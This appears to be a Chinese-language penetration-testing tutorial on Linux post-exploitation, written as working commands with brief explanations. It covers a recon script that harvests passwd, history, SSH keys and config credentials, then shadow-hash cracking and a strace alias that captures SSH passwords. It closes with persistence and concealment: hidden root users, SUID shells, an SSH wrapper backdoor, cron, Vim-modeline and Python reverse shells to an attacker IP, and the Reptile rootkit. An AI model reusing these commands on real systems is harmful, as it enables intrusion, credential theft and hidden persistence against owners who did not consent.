cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "增加用戶的日誌" | tee -a $filename
grep "useradd" /var/log/secure  | tee -a $filename
echo -e "\n" | tee -a $filename
echo "History操作提取" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "\n" | tee -a $filename
echo "登錄成功的IP" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename   
echo -e "\n" | tee -a $filename
echo "查看路由表" | tee -a $filename
route -n | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 SSH key" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
    cat ${sshkey} | tee -a $filename
else
    echo -e "SSH key文件不存在\n" | tee -a $filename
fi
echo -e "\n" | tee -a $filename
echo "查看 known_hosts" | tee -a $filename
cat ~/.ssh/known_hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查找WEB-INF" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "\n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "\n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "\n" | tee -a $filename
# Author cances
echo "ip和網卡資訊" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陸用戶" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "用戶登陸日誌" | tee -a $filename
lastlog | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 hosts" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 系統版本" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 內核版本" | tee -a $filename
uname -mrs | tee -a $filename

Linux隧道技術

Linux內網滲透用到的隧道技術和Windows內網滲透大差不差。

詳細見《代理、轉發及隧道隱藏》文章

Linux橫向移動

主機存活探測

shell

for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 

arpscan

git clone //github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan

nbtscan Linux版

wget //unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make

nbtscan -h

埠掃描

就正常埠掃描,沒什麼好說的。針對高危埠,按照滲透測試流程進行滲透,這裡就不具體展開了。

常用比如Ladon、fscan等等

//github.com/k8gege/LadonGo

image-20220302152610697

SSH橫向

這個是Linux橫向的重點,獲取linux帳號的明文密碼作用很大,因為內網環境管理員可能就那麼幾個,不同伺服器所設置的密碼也有可能相同

SSH私鑰泄露

不了解SSH私鑰登錄的可以看這篇文章

//www.runoob.com/w3cnote/set-ssh-login-key.html

一般情況下SSH密鑰存放在~/.ssh/目錄下:

image-20220206184233761

id_rsa 為私鑰,id_rsa.pub 為公鑰

搜索包含SSH密鑰的文件:(下面命令不包含隱藏文件,也就是類似.ssh目錄下的搜索不到)

grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*

grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*

grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

如果找到密鑰,則需要確定該密鑰用於哪個伺服器,關注一下幾個文件:

/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history 
~/.ssh/config 

known_hosts文件用於驗證遠程登陸系統的身份。ssh可以自動將密鑰添加到用戶文件,也可以手動添加。該文件包含用戶已連接過所有主機的遠程機器ip遠程機器公鑰。一般,初次登陸,ssh會自動將遠程主機的公鑰添加到用戶的known_hosts文件。known_hosts格式有兩種,取決於你的~/.ssh/config文件中的HashKnownHosts欄位的設置,有可能是明文也有可能是一段哈希字元串。如果沒有~/.ssh/config文件,這取決於/etc/ssh/ssh_config 文件中的該欄位。

修改 /etc/ssh/ssh_config 文件,

HashKnownHosts no

image-20220207135811443

HashKnownHosts yes

image-20220207135832884

通過密鑰進行登錄

使用linux機器登錄,用-i指定密鑰文件的路徑

image-20220207112841246

如果要在Windows上使用的話,例如putty:

使用 WinSCP、SFTP 等工具將私鑰文件 id_rsa 下載到客戶端機器上。然後打開 PuTTYGen,單擊 Actions 中的 Load 按鈕,載入你剛才下載到的私鑰文件。如果你設置了密鑰鎖碼,這時則需要輸入。

載入成功後,PuTTYGen 會顯示密鑰相關的資訊。在 Key comment 中鍵入對密鑰的說明資訊,然後單擊 Save private key 按鈕即可將私鑰文件存放為 PuTTY 能使用的格式。

今後,當你使用 PuTTY 登錄時,可以在左側的 Connection -> SSH -> Auth 中的 Private key file for authentication: 處選擇你的私鑰文件,然後即可登錄了,過程中只需輸入密鑰鎖碼即可。

破解SSH密鑰

如果發現的 SSH 密鑰使用密碼加密,則可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以訪問 GPU,則應利用 hashcat 來縮短破解時間)。

John the Ripper 有一個函數可以將他的密鑰轉換為一個名為 john2hash.py 的哈希值,並且預先安裝在 Kali 上:

轉換哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用綜合密碼字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john

SSH密碼爆破

SSH密碼加密存儲在/etc/shadow文件中,可以使用john the raper或者hashcat等工具嘗試爆破。

shadow文件介紹

樣例:

root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒號分隔:
1.第一個欄位是用戶名
2.第二字欄位是加密的密碼,如果是X 則代表不能登錄系統  
3.上次修改口令的時間
4.兩次修改口令的最短間隔的天數
5.兩次修改口令的最長的間隔天數  
6.設置提前多少天告警用戶口令將過期
7.口令過期後多少天禁止此用戶
8.用戶過期日期
9.保留欄位

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再來解釋一下$分割的各個部分的含義:
密鑰加密方式有5種:
$1 表示MD5加密演算法
$2 表示使用blowfish 加密演算法
$5 表示 SHA-256加密演算法
$6 表示SHA-512加密演算法(如上)
其他 標準的DES

qvhlqI7I:鹽值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1     :hash

John the rapper破解:

cp /etc/shadow shadow.txt             //直接保存shadow文件
unshadow /etc/passwd  /etc/shadow >shadow.txt   //如果有unshadow的話,也可以把這兩個文件整合

john --wordlist=pass.txt shadow.txt   //利用字典進行破解
john --show shadow.txt        //查看破解資訊

image-20220207161536066

hashcat破解(大字典推薦使用hashcat):

hashcat的使用可以看這篇文章//xz.aliyun.com/t/4008

將/etc/shadow文件,提取密碼欄位保存hash.txt

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force

-m 是指定那種加密類型,1800是SHA-512(Unix)的代號,具體–help來查看;
-a  是指定攻擊模式,0代表Straight模式,使用字典進行破解嘗試;
-o 是破解出來的資訊輸出結果文件,輸出到found.txt文件中;
hash.txt 是我們上面保存的加密密碼文件;
pass.txt 是我們的爆破密碼,越大越精越好;
--force 忽略破解過程中的警告資訊,跑單條hash可能需要加上此選項

image-20220207165438202

也可以使用hashcat hash --show來顯示結果

image-20220207165237541

SSH Keylogger記錄密碼

利用strace系統調試工具獲取ssh的讀寫連接的數據,以達到抓取管理員登陸其他機器的明文密碼的作用。

在當前用戶的.bashrc里新建一條alias,這樣可以抓取他登陸其他機器的ssh密碼。

//在當前用戶的shell環境中定義一個別名
vi ~/.bashrc

//在最後一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

//刷新當前的shell環境
source ~/.bashrc 

image-20220210101055597

設置完畢後,倘若當前系統不存在alias,那麼就會影響其正常使用。

設置完畢後,使用SSH登錄其他機器:

image-20220210101624395

然後,查看/tmp/.sshpwd-xxxxx文件即可找到密碼:

image-20220210102704161

image-20220210102722864

strace監聽ssh來源流量

剛剛使用別名的方式來抓取登陸其他機器時的密碼,同樣也可以利用strace來監聽登陸本地的sshd流量,抓到別人連入的密碼。

應用場景如:通過漏洞獲取root許可權,但是不知道明文密碼。

ps -ef | grep sshd    //父進程PID

//運行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者後台 運行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &

image-20220210111523417

image-20220210111531398

image-20220210111555797

image-20220210111647559

image-20220210111447828

Linux許可權維持

image-20220208194743103

隱藏

0x01 隱藏文件

Linux 下創建一個隱藏文件:touch .test.txt

touch 命令可以創建一個文件,文件名前面加一個 點 就代表是隱藏文件,如下圖

image-20220208195500830

一般的Linux下的隱藏目錄使用命令ls -l是查看不出來的,只能查看到文件及文件夾,查看Linux下的隱藏文件需要用到命令:ls -al

linux中每個目錄下其實都有.和..、分別代指的是當前目錄和上級目錄。 建立…文件也是一個比較好的隱藏方法「

image-20220210113635598

建立參數混淆攔截rm文件

echo 'test'  > --   //創建--文件,需要用絕對路徑才能讀取和刪除

rm -rf -- 命令執行了,文件沒刪除,命令也沒有報錯,可以誤導管理員。

image-20220210131557579

想要刪除的話,使用rm -rf '/root/--'

image-20220210131937149

另外,我們可以看到在/tmp下,默認存在多個隱藏目錄,這些目錄是惡意文件常用來藏身的地方。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/

image-20220210113653275

0x02 隱藏文件時間戳

Linux下藏後門必須要修改時間,否則很容易被發現,直接利用 touch 就可以了。

利用方法

比如參考 index.php 的時間,再賦給 webshell.php,結果兩個文件的時間就一樣了。

touch -r index.php webshell.php

或者直接將時間戳修改成某年某月某日。如下 2022年 02 月 01 日8時10分30秒。

touch -t 2202010810.30 webshell.php

touch -t 2202010810.30 webshell.php -c  
//-t STAMP      use [[CC]YY]MMDDhhmm[.ss] instead of current time
//-c  不創建文件

image-20220208200617337

0x03 隱藏許可權

在Linux中,使用chattr命令來防止root和其他管理用戶誤刪除和修改重要文件及目錄,此許可權用ls -l是查看不出來的,從而達到隱藏許可權的目的。

這個技巧常被用在後門,變成了一些難以清除的後門文件。

chattr +i evil.php  #鎖定文件
rm -rf evil.php     #提示禁止刪除

lsattr  evil.php    #屬性查看
chattr -i evil.php  #解除鎖定
rm -rf evil.php     #徹底刪除文件

image-20220208201823279

0x04 隱藏歷史操作

無痕模式

拿到shell以後,開始無痕模式,禁用命令歷史記錄功能。

[space]set +o history
備註:[space] 表示空格。並且由於空格的緣故,該命令本身也不會被記錄。

在這命令之後你執行的所有操作都不會記錄到歷史中,然而這個命令之前的所有東西都會原樣記錄在歷史列表中。

要重新開啟歷史功能,執行下面的命令:

[Space]set -o history
它將環境恢復原狀,也就是你完成了你的工作,執行上述命令之後的命令都會出現在歷史中。

刪除指定歷史命令

history顯示記憶體和~/.bash_history中的所有內容
記憶體中的內容並沒有立刻寫入~/.bash_history,只有噹噹前shell關閉時才會將記憶體內容寫入shell

刪除單條命令:

history -d [num]

刪除多條命令:

sed -i "100,$d" .bash_history    //刪除100行以後的操作命令

0x05 隱藏埠

通過埠復用來達到隱藏埠的目的。這裡以隱藏SSH埠,通過SSH進行遠程登錄為例。

方法1、通過SSLH讓 HTTPS 和 SSH 共享同一個埠

詳細方法參考:SSLH:讓 HTTPS 和 SSH 共享同一個埠 – 知乎 (zhihu.com)

這裡以kali為例簡單演示:

下載SSLH:

sudo apt-get install sslh

配置SSLH:

sudo vi /etc/default/sslh
修改為:
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

啟動SSLH:

$ sudo systemctl enable sslh
$ sudo systemctl start sslh

測試,檢查 SSLH 守護程式是否正在監聽 443。

image-20220209144923880

利用:

現在,你可以使用埠 443 通過 SSH 訪問遠程伺服器:

image-20220209145016452

方法2、利用IPTables進行埠復用

目標機器配置:

# 埠復用鏈
iptables -t nat -N LETMEIN
# 埠復用規則
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 開啟開關
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 關閉開關
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻擊機運行:

#開啟復用
echo threathuntercoming | socat - tcp:192.168.111.133:80
#ssh使用80埠進行登錄
ssh -p 80 root@192.168.111.133
#關閉復用
echo threathunterleaving | socat - tcp:192.168.111.133:80

image-20220209151339492

測試完畢後,在目標機刪除iptables規則:

iptables -L -n --line-number    //iptables -L -n --line-number
iptables -D INPUT 3             //刪除INPUT的第三條已添加規則,這裡3代表第幾行規則

image-20220209152331570

0x06 隱藏進程

管理員無法通過相關命令工具查找到你運行的進程,從而達到隱藏目的,實現進程隱藏。

libprocesshider : //github.com/gianlucaborello/libprocesshider

linux-inject: //github.com/gaffe23/linux-inject

後門

SSH後門

SSH軟連接

前提:

允許PAM認證(默認):

cat /etc/ssh/sshd_config

image-20220209165359492

原理:

在sshd服務配置運行PAM認證的前提下,PAM配置文件中控制標誌為sufficient時只要pam_rootok模組檢測uid為0(root)即可成功認證登陸

利用:

可用的軟連接名稱:

find /etc/pam.d |xargs grep "pam_rootok" 

image-20220209170048583

上面su、chfn、chsh等這幾個名稱都可以,下面以su為例:

通過軟連接建立後門:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444

執行完之後,任何一台機器ssh root@IP -p 4444,輸入任意密碼,成功登錄:

image-20220209170311669

優點:

能夠繞過一些網路設備的安全流量監測,但是本地在查看監聽埠時會暴露埠,建議設置成8081,8080等埠。

刪除軟連接後門:

rm -rf 【軟連接地址】

image-20220209171837937

SSH Wrapper

原理:

init 首先啟動的是 /usr/sbin/sshd ,腳本執行到 getpeername 這裡的時候,正則匹配會失敗,於是執行下一句,啟動 /usr/bin/sshd ,這是原始 sshd 。原始的 sshd 監聽埠建立了 tcp 連接後,會 fork 一個子進程處理具體工作。這個子進程,沒有什麼檢驗,而是直接執行系統默認的位置的 /usr/sbin/sshd ,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字, getpeername 能真的獲取到客戶端的 TCP 源埠,如果是指定埠, 就執行sh給個shell。

利用:

目標機:

cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd   //4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart 

攻擊機:

socat STDIO TCP4:target_ip:22,sourceport=13377

#如果你想修改源埠,可以用python的struct標準庫實現。其中x00x00LF是19526的大端形式,便於傳輸和處理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

image-20220209174746506

優點:

1、在無連接後門的情況下,管理員是看不到埠和進程的,last也查不到登陸。

2、在針對邊界設備出網,內網linux伺服器未出網的情況下,留這個後門可以隨時管理內網linux伺服器,還不會留下文件和惡意網路連接記錄。

SSH公鑰免密登錄

這種用法不只是用在留後門,還可以在一些特殊情況下獲取一個交互的shell,比如redis未授權寫入公鑰。

但是這個方法比如容易被發現

攻擊機生成公私鑰對:

ssh-keygen -t rsa

image-20220209182800194

再把公鑰id_rsa.pub發送到目標上,追到到authorized_keys文件中:

echo id_rsa.pub >> .ssh/authorized_keys  //將id_rsa.pub內容放到目標.ssh/authorized_keys里

image-20220209182857029

同時賦予許可權,但是許可權不能過大:

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

然後,ssh在開啟密鑰登錄功能的前提下,攻擊機即可免密登錄。

添加用戶、隱身登錄

添加的用戶很容易被發現,不常用。

一句話添加普通用戶:

# 創建一個用戶名guest,密碼123456的普通用戶
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用來存放可執行的系統命令,"$()"也可以存放命令執行語句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

一句話添加root用戶:

# 創建一個用戶名guest,密碼123456的root用戶
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

image-20220209185942678

隱身登錄:
隱身登錄系統,不會被last、who、w等指令檢測到

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host 
/bin/bash -if

image-20220209190919225

image-20220209190935334

SUID後門

在介紹linux提權的時候,曾說過SUID

什麼是suid?suid全稱是Set owner User ID up on execution。這是Linux給可執行文件的一個屬性——s標誌。通俗的理解為其他用戶執行這個程式的時候可以用該程式所有者/組的許可權。需要注意的是,只有程式的所有者是0號或其他super user,同時擁有suid許可權,才可以提權

創建一個suid許可權的文件:

cp /bin/bash /tmp/.woot
chmod u+s /tmp/.woot
ls -al /tmp/.woot

image-20220311104434845

使用普通用戶運行就可獲得root許可權:

/tmp/.woot 
/tmp/.woot -p    //bash2 針對 suid 有一些護衛的措施,需要使用-p參數來獲取一個root shell

image-20220311104747849

Cron後門

在 ubuntu 中直接在計劃任務中默認使用的是sh,指向的是 dash 而不是 bash ,所以執行反彈任務可能會失敗,解決方案參考://cloud.tencent.com/developer/article/1683265

在Linux系統中,計劃任務一般是由cron承擔,我們可以把cron設置為開機時自動啟動。cron啟動後,它會讀取它的所有配置文件(全局性配置文件/etc/crontab,以及每個用戶的計劃任務配置文件),然後cron會根據命令和執行時間來按時來調用工作任務。

cron表達式在線生成://www.bejson.com/othertools/cron/

crontab -e 設置定時任務

#每一分鐘執行一次
*/1 * * * * /bin/bash /root/test.sh

或者直接執行反彈shell
*/1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1" 

test.sh:

#!/bin/bash
bash -i >& /dev/tcp/192.168.111.253/8899 0>&1  

chmod +sx test.sh

image-20220210144758320

crontab -l 查看定時任務:

image-20220211154049010

重啟crond服務,service crond restart,然後就可以用nc接收shell:

image-20220211154105013

image-20220211153636694

如上方式,管理員執行crontab -l就能看到執行的命令內容不是特別隱蔽。

使用如下命令設置計劃任務,crontab -l執行後會顯示”no crontab for root”,就達到了一個簡單的隱藏效果:

(printf "*/1 * * * * /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -

image-20220210145536461

\r導致顯示截斷,使得後面的內容逐個字元覆蓋前面的字元;

100%c 的作用是格式化輸出一個字元,前面99個空格補齊。

詳細分析可以看這篇文章://cloud.tencent.com/developer/article/1683265

實際上是他將 cron 文件寫到文件中,而 crontab -l 就是列出了該文件的內容:

/var/spool/cron/crontabs/root

通常 cat 是看不到這個的,只能利用 less、vim 或者 cat -A 看到,這也是利用了cat的一個缺陷

cat默認使用是支援一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令。

image-20220210145733119

VIM後門

vim modeline(CVE-2019-12735)

該漏洞存在於編輯器的 modeline功能,部分 Linux 發行版默認啟用了該功能。 當 vim 打開一個包含了 vim modeline 注釋行的文件時,會自動讀取這一行的參數配置並調整自己的設置到這個配置。

vim默認關閉modeline。

受影響版本:Vim < 8.1.1365, Neovim < 0.3.6

使用:

首先在開啟modeline:

vim ~/.vimrc
set modeline

然後我們創建個文件測試一下:

echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > test.txt
vim test.txt

image-20220311114351851

可以看到成功執行了uname -a命令

現在我們創建反彈shell的文件:

shell.txt

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

or

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

image-20220311134321688

image-20220311134335397

vim python 擴展後門

適用於安裝了vim且安裝了python擴展(絕大版本默認安裝)的linux系統

vim --version可以看到vim支援python3

image-20220311143734418

構造一個反彈shell腳本
test.py

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.111.253",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

image-20220311144209057

執行

vim -E -c "py3file test.py"

執行完之後命令行介面就會一片空白如下圖所示,屬正常現象,此時關閉命令行介面,也不會影響已經反彈回去的shell

image-20220311144432781

接收到的shell:

image-20220311144336430

此時可以看到可疑的 vim 連接

image-20220311144558037

但是這樣的後門太明顯了,而且 vim -E -c 「py3file test.py」 命令執行之後,還會有一個空白窗口。

我們需要隱藏一下:

從以下兩點出發:

1、

(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &)

#將nohup的執行結果輸出到/dev/null中
#其中/dev/null在linux中代表空設備,結果輸出到空設備也就是丟棄nohup的執行結果。
#「2」在linux中代表錯誤輸出,「1」在linux中代表標準輸出,在此處也就是nohup的輸出。2>&1表示將錯誤輸出綁定到標準輸出上,在此處也就是將錯誤輸出同樣輸出到空設備上不進行顯示。這樣,無論nohup執行結果是否正確,都不會有輸出。

2、既然是後門,那麼就不能留下自己創建的文件,可以將刪除命令直接拼接到命令上

因為我們最終的執行命令為:

(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py

PAM後門

PAM (Pluggable Authentication Modules )是由Sun提出的一種認證機制。它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程式,同時也便於向系統中添加新的認證手段。

利用腳本:

//github.com/litsand/shell

inetd後門

inetd是一個監聽外部網路請求(就是一個socket)的系統守護進程,默認情況下為13埠。當inetd接收到一個外部請求後,它會根據這個請求到自己的配置文件中去找到實際處理它的程式,然後再把接收到的這個socket交給那個程式去處理。

如果來自外部的某個socket是要執行一個可交互的shell (比如,我們已經在目標系統的inetd配置文件中事先定義好),這就相當於一個簡易的bind型後門

安裝:

apt-get install openbsd-inetd

利用:

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i  # 當外部請求名為daytime的服務時就彈shell
#開啟inetd
$inetd

image-20220311155100843

使用nc連接

nc -vv 192.168.111.132 13

image-20220311155201324

進階:

可以把daytime換成其他服務,服務和埠的對應關係在/etc/services文件查看,我們可以選擇現有的,也可以自己添加一個:

image-20220311155453534

然後修改/etc/inetd.conf

image-20220311155606643

nc連接8881埠介面即可獲得shell:

image-20220311155651069

檢測:

查看配置文件即可

cat /etc/inetd.conf 

ICMP後門

利用ICMP中可控的data欄位進行數據傳輸

項目地址:

//github.com/andreafabrizi/prism

使用:

首先編譯.c文件【具體要求可以看項目里的介紹】

Linux 64bit:
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit:
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

運行:

./prism Inf0
./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888

#192.168.111.132 is the victim machine running prism backdoor
#p4ssw0rd is the key
#192.168.111.253 is the attacker machine address
#8888 is the attacker machine port

image-20220311164302443

image-20220311164201141

DNS後門

在大多數的網路里環境中IPS/IDS或者硬體防火牆都不會監控和過濾DNS流量。主要原理就是將後門載荷隱藏在擁有PTR記錄和A記錄的DNS域中。

一些項目:

//github.com/DamonMohammadbagher/NativePayload_DNS
//github.com/iagox86/dnscat2
//code.kryo.se/iodine

進程注入

進程注入類後門一般都需要一個 ptrace 庫,ptrace 庫用來調試進程,基本 linux 系統都自帶此庫。

進程注入工具很多

//github.com/gaffe23/linux-inject
//sourceforge.net/projects/cymothoa/files/
//github.com/screetsec/Vegile
【false】Cymothoa

cymothoa 是一個後門工具,利用程式碼 shellcode 會被注入到進程中,只要進程存在,後門就會有效,所以一般選擇一些自啟服務的進程來注入,例如 web 服務 mysql,apache 等。其後門所擁有的許可權和注入的進程許可權是相同的。當拿下目標 shell 後就可以使用 cymothoa 添加後門了。

使用:

下載,進入Cymothoa,運行

./cymothoa -S  #列出可用的shellcode

image-20220312003647387

這裡我們就用序號 1 這個 payload,通過埠來反向 shell。使用 -p參數,用來指定需要注入的進程的 pid, - s,用來指定使用 shellcode 的序號,-y用來指定反向 shell 的埠,即別人連接自己時需要連接的埠。運行後當出現 infected 即感染的意思則代表後門注入成功。
image-20220312004001764

沒成功,先沒管了。。。

Vegile

Vegile是一個用來隱藏自己的進程的工具,即使進程被殺,又會重新啟動。總會有一個進程會運行另一個進程,所以我們可以假設這個進程是不可阻擋的。

attack機器

先生成個後門:

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR

image-20220312005734879

使用任意一種方式傳到victim機器。

使用msf監聽:

image-20220312010052613

victim機器

git clone //github.com/Screetsec/Vegile.git
cd Vegile
chmod +x Vegile

image-20220312010246569

-i是進程注入的方式
-u是進程被殺還可以繼續反彈shell

運行

./Vegile --i test

image-20220312010922582

image-20220312011011737

--u也類似,就不演示了。

Tiny shell

Tiny Shell 是一款開源的Unix類後門shell工具,由C語言編寫,體積小,通訊加密,分為客戶端和服務端,支援正向連接和反彈連接模式

//github.com/orangetw/tsh

使用:

  • 正向:

首先打開tsh.h設置密碼(用戶加密客戶端與服務端的通訊數據);

修改SERVER_PORT值(後門運行後監聽的埠);

修改FAKE_PROC_NAME值(用於偽裝顯示後門運行後的進程名字);

注釋掉CONNECT_BACK*兩行程式碼(這兩行程式碼用戶反向模式);

這裡因為演示就簡單改一下,修改後如下所示:

image-20220311225941497

編譯:

make linux

#支援多種系統  linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

編譯完成後生成tsh(客戶端)、tshd(服務端)兩個文件:

image-20220311230136677

服務端執行:

umask 077; HOME=/var/tmp ./tshd

./tshd

image-20220311233920436

客戶端:(除了獲取shell之外,還可以執行單條命令、傳輸文件)

./tsh 192.168.111.132

#./tsh victim_ip

image-20220311233855218

: 服務端運行後,其父進程PID是1,也就是說這個進程是守護進程除非重啟系統,或者手動關閉,否則一直存在(當然你也可以加入啟動項,或者加入任務計劃中

  • 反向:

編譯前的準備工作和 編譯正向模式類似,不過 需要將CONNECT_BACK*兩行去掉注釋,即去掉//,並將ip改為客戶端的ip,延時也可適當修改:

image-20220311234900716

編譯:

make linux 

服務端運行

umask 077; HOME=/var/tmp ./tshd
./tshd

客戶端運行:

./tsh cb  #cb表示反向模式

image-20220311235256077

註:這裡只是簡單演示,在實際使用中還可以進行各種欺騙性偽裝,改進程名、移到欺騙性目錄等等。

自啟動

chmod +x /etc/rc.d/rc.local
vi /etc/rc.d/rc.local

在此文件中添加需要開機執行的腳本的絕對路徑,如

/usr/local/shell/crontab.sh

保存退出,即可生效。

設置定時任務後,系統重啟後會自動定時執行,不需要再設置開機自啟,如果發現有中斷的情況,考慮crond服務的啟動情況。

Rootkit

rootkit是攻擊者向電腦系統中植入的,能夠隱藏自身蹤跡並保留root許可權的惡意程式。rootkit基於攻擊者已經拿到root許可權之後對系統進行破壞。rootkit會儘可能通過隱藏文件、進程、模組、進程等資訊避免被監控程式檢測。

這個項目列出了很多好用的rootkit,感興趣的可以去看看。

這裡只演示一下Reptile的使用。

Reptile 是種 LKM(Loadable Kernel Modules) rootkit,因此具有很好的隱藏性和強大的功能。

安裝:

apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)

git clone //github.com/f0rb1dd3n/Reptile.git
./setup.sh install    #全自動化安裝,安裝後也會全自動刪除,要注意需要互動式shell

image-20220314113336583

安裝過程會有如下選項:

Hide name (will be used to hide dirs/files) (default: reptile): 會被隱藏的文件或文件名

Auth token to magic packets (default: hax0r):連接後門時的認證

tokenBackdoor password (default: s3cr3t):後門密碼

Tag name that hide file contents (default: reptile):標籤名,在該標籤中的內容都會被隱藏

